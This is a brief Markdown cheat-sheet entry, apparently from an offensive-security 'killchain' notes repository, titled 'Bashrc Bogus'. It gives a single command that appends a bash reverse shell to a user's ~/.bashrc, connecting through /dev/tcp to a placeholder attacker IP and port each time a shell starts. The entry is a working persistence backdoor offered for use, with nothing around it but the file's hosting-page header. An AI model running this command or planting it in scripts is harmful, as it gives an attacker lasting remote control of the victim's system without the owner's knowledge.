killchain-compendium/Persistence/bashrc.md

9 lines
134 B
Markdown
Raw Normal View History

2022-11-12 23:18:06 +01:00
# Bashrc Bogus
## Add Reverse Shell
```sh
echo 'bash -c "bash -i >& /dev/tcp/<attacker-IP>/<attacker-Port> 0>&1"' >> ~/.bashrc
```